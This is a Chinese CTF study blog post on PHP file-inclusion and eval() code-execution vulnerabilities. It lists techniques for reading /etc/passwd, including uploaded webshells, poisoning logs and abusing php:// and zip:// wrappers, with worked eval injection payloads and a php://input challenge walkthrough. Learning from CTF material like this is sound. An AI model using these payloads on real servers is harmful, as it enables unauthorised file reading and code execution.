L1E6N0A2

监督自己不断学习

0%

每日一题12.16

每天一道CTF,日积月累,期待进步!

文件包含漏洞 ,php代码执行漏洞

文件包含漏洞

一、文件包含的概念

程序开发人员把重复使用的函数写到单个文件中,需要使用该函数时直接调用此文件。

下面这个例子就是说one.php和two.php都需要调用to_print()函数,因此把to_print()函数写在新的func.php文件中,使用时include()包含func.php即可。

eg

PHP中文件包含函数有以下四种:require();require_once();include()和include_once()

includerequire区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。

include_once()require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

二、文件包含漏洞

开发人员为了代码更灵活,将被包含的文件设置为变量,用来动态调用,可以导致客户端可以调用一个恶意文件,造成文件包含漏洞。

参数

危害:任意文件读取,任意代码执行

三、漏洞利用
  • 任意文件读取

    file = file://etc/password 或 file = /etc/password

  • 包含上传文件

    被包含的文件内容当作php代码去解析(eg.上传恶意图片一句话木马,先包含再POST)

  • 包含日志文件

    将恶意PHP代码插入日志文件中,再包含日志文件(需要知道日志目录)

  • 包含session

  • PHP伪协议

    • php://input:把post流读取过来(要用burpsuit,hackbar的post里写php代码执行不了)
    • php://filter:读源码
    • zip://[压缩包绝对路径]%23(#)[压缩包内文件]:访问压缩包内的文件(一句话木马),再post
    • phar::// [压缩包绝对(相对)路径]/[压缩包内文件]:与zip://类似
    • data://,<?php phpinfo(); > :与input类似,可以让用户通知输入流
四、绕过
  • 前缀限制(指定部分路径)

    使用../../返回上级

  • 后缀限制(指定文件后缀)

    URL绕过 http://xxxx/phpinfo.php?.txt

    利用协议:zip://和phar://,不写后缀名,自己会拼接上指定的后缀

    zip

PHP代码执行漏洞

1.eval()函数 :可以把把传入的参数当成 php 代码执行:

https://blog.csdn.net/wy_97/article/details/77452939

1
2
3
4
5
6
 <?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);"); #var_dump($a):输出变量的相关信息
show_source(__FILE__);
?>

($_REQUEST对get,post都能接受,简单起见,当然选择get传值)

根据最基本注入’’引号闭合的思路,很容易就想到了利用括号,毕竟,eval中是执行的代码段

分析首先注意到eval(“var_dump($a);”)内部是双引号,根据前面所学的知识,双引号中的变量会被解析,eval()存在变量$a, $a用户可控,根据前面的知识综合思考下,那也就是可能我们输入的他会当做php代码执行,假设没有var_dump()函数,函数将变为eval(“$a”), 那么接下来的目的只需要解决var_dump()函数就行啦

对于var_dump函数,我们可以像sql注入那样来拼接语句来讲var_dump()闭合然后放入我们自己的PHP语句。我们具体实验下我们来做个试验,最基本的:

1
http://http://114.67.246.176:11989/?hello= 1);print_r(2

上面的代码结合起来就是:

1
eval( "var_dump(1);print_r(2);");   #eval中的字符被当作php代码执行,先var_dump再print_r

证明注入成功,下面就可以读文件了。

test

1
2
3
4
?/hello=1);print_r(file("./flag.php"));//     #“”内部为代码,//只在代码中起作用,相当于只注释了);
拼接之后:eval(" vardump(1);print_r(file("./flag.php")); /*);*/ ")
payload也可以写成:?/hello=1);print_r(file("./flag.php")
拼接之后:eval(" vardump(1);print_r(file("./flag.php")); ") #利用var_dump的)和;

因为eval()函数 可以把把传入的参数当成 php 代码执行,因此也有下面两种简单直接的payload:

1
2
http://114.67.246.176:11989/?hello=file('flag.php')
http://114.67.246.176:11989/?hello=file_get_contents('flag.php')
2.assert()函数 :检查一个断言是否为false

assert函数中参数为表达式,eval是字符

assert

例题

下面是i春秋的一道题(Include),path变量传递包含的文件名,存在问价包含漏洞。

题目

题目中给出了phpinfo(),看到allow_url_include is on,直接伪协议php://input

url

这个时候hackbar不好用了,用RESTClient,首先输出所有文件

1

发现一个奇怪的php,通过cat命令看看里面是什么

2

获得flag